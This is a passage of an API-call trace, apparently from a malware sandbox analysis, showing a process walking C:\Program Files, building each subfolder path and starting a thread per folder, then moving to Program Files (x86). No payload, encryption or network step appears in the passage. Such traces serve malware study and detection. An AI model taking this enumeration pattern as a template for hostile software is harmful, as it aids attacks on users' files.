Files\\Common Files" [0045.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0045.559] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.559] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0045.559] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0045.559] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0045.559] wcscmp (_String1="DVD Maker", _String2=".") returned 1 [0045.559] wcscmp (_String1="DVD Maker", _String2="..") returned 1 [0045.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409a68 [0045.559] wcscpy (in: _Dest=0x409a68, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.559] wcscat (in: _Dest=0x409a68, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.559] wcscat (in: _Dest=0x409a68, _Source="DVD Maker" | out: _Dest="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0045.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409a68) returned 1 [0045.559] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0045.559] wcscmp (_String1="Internet Explorer", _String2=".") returned 1 [0045.559] wcscmp (_String1="Internet Explorer", _String2="..") returned 1 [0045.559] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x4164d0 [0045.560] wcscpy (in: _Dest=0x4164d0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.560] wcscat (in: _Dest=0x4164d0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.560] wcscat (in: _Dest=0x4164d0, _Source="Internet Explorer" | out: _Dest="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0045.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4164d0) returned 1 [0045.560] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0045.560] wcscmp (_String1="Microsoft Analysis Services", _String2=".") returned 1 [0045.560] wcscmp (_String1="Microsoft Analysis Services", _String2="..") returned 1 [0045.560] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x442858 [0045.560] wcscpy (in: _Dest=0x442858, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.560] wcscat (in: _Dest=0x442858, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.560] wcscat (in: _Dest=0x442858, _Source="Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0045.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x442858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0045.561] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0045.561] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0045.561] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0045.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444af0 [0045.561] wcscpy (in: _Dest=0x444af0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.561] wcscat (in: _Dest=0x444af0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.561] wcscat (in: _Dest=0x444af0, _Source="Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0045.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0045.562] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0045.562] wcscmp (_String1="Microsoft SQL Server Compact Edition", _String2=".") returned 1 [0045.562] wcscmp (_String1="Microsoft SQL Server Compact Edition", _String2="..") returned 1 [0045.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4187d0 [0045.562] wcscpy (in: _Dest=0x4187d0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.562] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.562] wcscat (in: _Dest=0x4187d0, _Source="Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0045.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4187d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0045.563] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0045.563] wcscmp (_String1="Microsoft Sync Framework", _String2=".") returned 1 [0045.563] wcscmp (_String1="Microsoft Sync Framework", _String2="..") returned 1 [0045.563] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x41be58 [0045.563] wcscpy (in: _Dest=0x41be58, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.563] wcscat (in: _Dest=0x41be58, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.563] wcscat (in: _Dest=0x41be58, _Source="Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0045.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41be58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0045.564] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0045.564] wcscmp (_String1="Microsoft Synchronization Services", _String2=".") returned 1 [0045.564] wcscmp (_String1="Microsoft Synchronization Services", _String2="..") returned 1 [0045.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420cb8 [0045.564] wcscpy (in: _Dest=0x420cb8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.564] wcscat (in: _Dest=0x420cb8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.564] wcscat (in: _Dest=0x420cb8, _Source="Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0045.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0045.565] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87cf3cc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87cf3cc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0045.565] wcscmp (_String1="MSBuild", _String2=".") returned 1 [0045.566] wcscmp (_String1="MSBuild", _String2="..") returned 1 [0045.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409a68 [0045.566] wcscpy (in: _Dest=0x409a68, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.566] wcscat (in: _Dest=0x409a68, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.566] wcscat (in: _Dest=0x409a68, _Source="MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0045.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0045.567] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0045.567] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1 [0045.567] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1 [0045.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413cd8 [0045.567] wcscpy (in: _Dest=0x413cd8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.567] wcscat (in: _Dest=0x413cd8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.567] wcscat (in: _Dest=0x413cd8, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0045.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0045.568] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0045.568] wcscmp (_String1="Uninstall Information", _String2=".") returned 1 [0045.568] wcscmp (_String1="Uninstall Information", _String2="..") returned 1 [0045.568] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413d30 [0045.568] wcscpy (in: _Dest=0x413d30, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.568] wcscat (in: _Dest=0x413d30, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.568] wcscat (in: _Dest=0x413d30, _Source="Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0045.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0045.569] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0045.569] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0045.569] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0045.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444b40 [0045.570] wcscpy (in: _Dest=0x444b40, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.570] wcscat (in: _Dest=0x444b40, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.570] wcscat (in: _Dest=0x444b40, _Source="Windows Defender" | out: _Dest="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0045.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b40) returned 1 [0045.570] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0045.570] wcscmp (_String1="Windows Journal", _String2=".") returned 1 [0045.570] wcscmp (_String1="Windows Journal", _String2="..") returned 1 [0045.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444b40 [0045.570] wcscpy (in: _Dest=0x444b40, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.570] wcscat (in: _Dest=0x444b40, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.570] wcscat (in: _Dest=0x444b40, _Source="Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0045.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0045.571] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0045.571] wcscmp (_String1="Windows Mail", _String2=".") returned 1 [0045.571] wcscmp (_String1="Windows Mail", _String2="..") returned 1 [0045.571] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402450 [0045.571] wcscpy (in: _Dest=0x402450, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.571] wcscat (in: _Dest=0x402450, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.571] wcscat (in: _Dest=0x402450, _Source="Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0045.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0045.572] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0045.572] wcscmp (_String1="Windows Media Player", _String2=".") returned 1 [0045.572] wcscmp (_String1="Windows Media Player", _String2="..") returned 1 [0045.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413d88 [0045.572] wcscpy (in: _Dest=0x413d88, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.572] wcscat (in: _Dest=0x413d88, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.572] wcscat (in: _Dest=0x413d88, _Source="Windows Media Player" | out: _Dest="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0045.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d88) returned 1 [0045.572] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0045.573] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0045.573] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0045.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409ae8 [0045.573] wcscpy (in: _Dest=0x409ae8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.573] wcscat (in: _Dest=0x409ae8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.573] wcscat (in: _Dest=0x409ae8, _Source="Windows NT" | out: _Dest="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0045.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ae8) returned 1 [0045.573] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0045.573] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1 [0045.573] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1 [0045.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413d88 [0045.573] wcscpy (in: _Dest=0x413d88, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.573] wcscat (in: _Dest=0x413d88, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.573] wcscat (in: _Dest=0x413d88, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0045.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d88) returned 1 [0045.573] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0045.573] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1 [0045.573] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1 [0045.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x41beb8 [0045.573] wcscpy (in: _Dest=0x41beb8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.573] wcscat (in: _Dest=0x41beb8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.573] wcscat (in: _Dest=0x41beb8, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0045.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41beb8) returned 1 [0045.573] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0045.573] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1 [0045.573] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1 [0045.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444b90 [0045.573] wcscpy (in: _Dest=0x444b90, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.573] wcscat (in: _Dest=0x444b90, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.573] wcscat (in: _Dest=0x444b90, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0045.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b90) returned 1 [0045.574] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0045.574] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408830) returned 1 [0045.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 Thread: id = 62 os_tid = 0xaf8 [0045.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409aa8 [0045.575] wcscpy (in: _Dest=0x409aa8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.575] wcscat (in: _Dest=0x409aa8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.575] wcscat (in: _Dest=0x409aa8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\*") returned="C:\\Program Files (x86)\\*" [0045.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.575] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", 